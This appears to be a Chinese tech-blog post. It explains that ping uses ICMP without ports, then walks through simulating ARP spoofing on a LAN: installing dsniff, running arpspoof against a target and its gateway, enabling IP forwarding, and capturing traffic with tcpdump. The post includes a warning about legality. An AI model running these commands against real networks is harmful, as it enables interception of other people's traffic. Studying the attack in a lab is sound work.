当前位置: 首页 > news >正文

ICMP协议以及ARP欺骗攻击

  ping 命令使用的是 ICMP(Internet Control Message Protocol)协议,而不是 TCP 或 UDP 协议。因此,ping 命令并不使用特定的端口号。

ICMP 协议

        ICMP 是一种网络层协议,主要用于在 IP 网络中传递控制消息。ping 命令利用 ICMP 协议来测试主机之间的连通性,其工作流程如下:

  1. 发送 ICMP Echo Request(回显请求)

    • 源主机(发送 ping 命令的主机)发送一个 ICMP Echo Request 消息到目标主机。
  2. 接收 ICMP Echo Reply(回显应答)

    • 如果目标主机在线且未阻止 ICMP 请求,它会返回一个 ICMP Echo Reply 消息给源主机。
  3. 计算往返时间

    • ping 命令会计算从发送请求到收到应答的时间,从而得到一个往返时间(RTT)值。

端口的应用

        端口号通常用于传输层协议(如 TCP 和 UDP),以标识特定的应用程序或服务。ICMP 作为一种网络层协议,并不使用端口号,而是通过 IP 地址来标识目标主机。

示例

当你在命令行中运行 ping 命令时,例如:

ping 192.168.1.1

        你实际上是在发送 ICMP Echo Request 数据包到 IP 地址 192.168.1.1,而不是发送到一个特定的端口号。

结论

  ping 命令使用的是 ICMP 协议,而不是特定的端口号。网络层协议(如 ICMP)通过 IP 地址进行通信,而不是通过端口号。

 

        ARP 欺骗(也称为 ARP 中毒或 ARP 欺诈)是一种针对局域网的攻击形式,其中攻击者通过发送伪造的 ARP 消息来获取网络中其他设备的流量。这种攻击主要是为了监听、干扰或重定向网络通信。

模拟 ARP 欺骗的步骤

以下是如何在 Linux 系统(如 Ubuntu)上模拟 ARP 欺骗的基本步骤:

1. 准备工作

确保你有 root 权限或使用 sudo。还需要安装一些网络工具,如 arpspoof(通常包含在 dsniff 包中)。

sudo apt update
sudo apt install dsniff
2. 确定目标

你需要知道在你局域网中的目标 IP 地址和 MAC 地址。可以使用 arp -a 或 ifconfig 等命令来查看网络中的设备。

  • 例如:
    • 目标设备的 IP:192.168.18.100
    • 默认网关的 IP:192.168.18.1

你可以使用以下命令来检查路由表,看看默认网关是否是 192.168.18.1

route -n

在输出中,查找 Gateway 列,看看默认网关是否指向 192.168.18.2。示例输出可能如下:

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.18.1    0.0.0.0         UG    0      0        0 ens33

如果 Gateway 是 192.168.18.1,那么这就是你的网关。

默认网关
  • 0.0.0.0 192.168.18.1 0.0.0.0 UG 100 0 0 ens33
  • 这条路由规则表明,192.168.18.1 是你的默认网关(Gateway)。所有非本地网络的流量都会通过这个网关进行路由。
本地网络路由
  • 192.168.18.0 0.0.0.0 255.255.255.0 U 100 0 0 ens33
  • 这条路由规则表示,192.168.18.0/24 网段内的流量会在本地进行处理,不需要通过网关。
3. 进行 ARP 欺骗

使用 arpspoof 工具进行 ARP 欺骗,以便让目标设备(192.168.18.100)认为攻击者的设备是网关(192.168.18.1)。

在一个终端中,先将目标设备的流量重定向到自己:

sudo arpspoof -i ens33 -t 192.168.18.100 192.168.18.1

在另一个终端中,将网关的流量重定向到自己:

sudo arpspoof -i ens33 -t 192.168.18.1 192.168.18.100
4. 启用 IP 转发(可选)

为了让攻击者能够转发流量,需要启用 IP 转发。可以通过以下命令进行操作:

echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
  • 注意:如果不启用 IP 转发,攻击者的机器将无法转发流量。
 检查目标设备的 ARP 表

在 192.168.18.100 设备上,运行以下命令,查看它的 ARP 表:

arp -a

这应该显示出 192.168.18.1 的 MAC 地址。如果没有正确显示你的 MAC 地址,则欺骗失败,还需要确认网络连接是否正常。

5. 捕获流量(可选)

如果希望监控通过你的设备流过的流量,可以使用工具如 tcpdump 或 Wireshark 捕获数据包。

使用 tcpdump 进行简单的流量捕获:

sudo tcpdump -i ens33 -w capture.pcap
6. 结束攻击

完成模拟后,通过按 Ctrl+C 停止 arpspoof 命令,并通过以下命令禁用 IP 转发:

echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward

重要提示

  • 确保在合法的环境下进行 ARP 欺骗测试。未经授权的 ARP 欺骗是非法行为。
  • ARP 欺骗可能会影响局域网中的其他设备和用户,因此务必谨慎。
  • 使用 Wireshark 等工具监控 ARP 流量,帮助你理解 ARP 欺骗的工作原理。

http://www.mrgr.cn/news/53883.html

相关文章:

  • 关于Qt中进行输出的方式及对比分析
  • 【Flutter】状态管理:高级状态管理 (Riverpod, BLoC)
  • 提升SQL技能,掌握数据分析
  • 【python写一个带有界面的计算器】
  • 【数据结构与算法】之单链表反转
  • 如何配置 Jenkins 主从架构以及结合 Gerrit 和镜像操作
  • 跨平台进程池背后的思想
  • 【数据结构与算法】之二分查找
  • 一个纹理分割的例子
  • Python基础——类型注解
  • javaWeb项目-Springboot+vue-XX图书馆管理系统功能介绍
  • 深度学习面试笔试之循环神经网络(RNN)、门控循环单元(GRU)、长短期记忆(LSTM)
  • 一、go入门
  • 安全基线加固
  • Python中的数值及其计算
  • 学习eNSP对准备华为认证有哪些帮助?
  • 【C++打怪之路Lv11】-- stack、queue和优先级队列
  • MySQL 本地社区版安装(不登录) mysql官网链接
  • HarmonyOS NEXT 应用开发实战(七、知乎日报轮播图的完整实现)
  • 集合论基本概念——紧致性(compact或compactness)
  • 【v5Lite】识别+串口
  • 大厂面试真题-了解云原生吗,简单说一下docker和k8s
  • vue之打包配置环境
  • Qt贪吃蛇-游戏房间窗口(3)
  • 设置了超时时间但是不起作用,浏览器里的setTimeout有 bug?
  • Linux下的进程解析(level 2)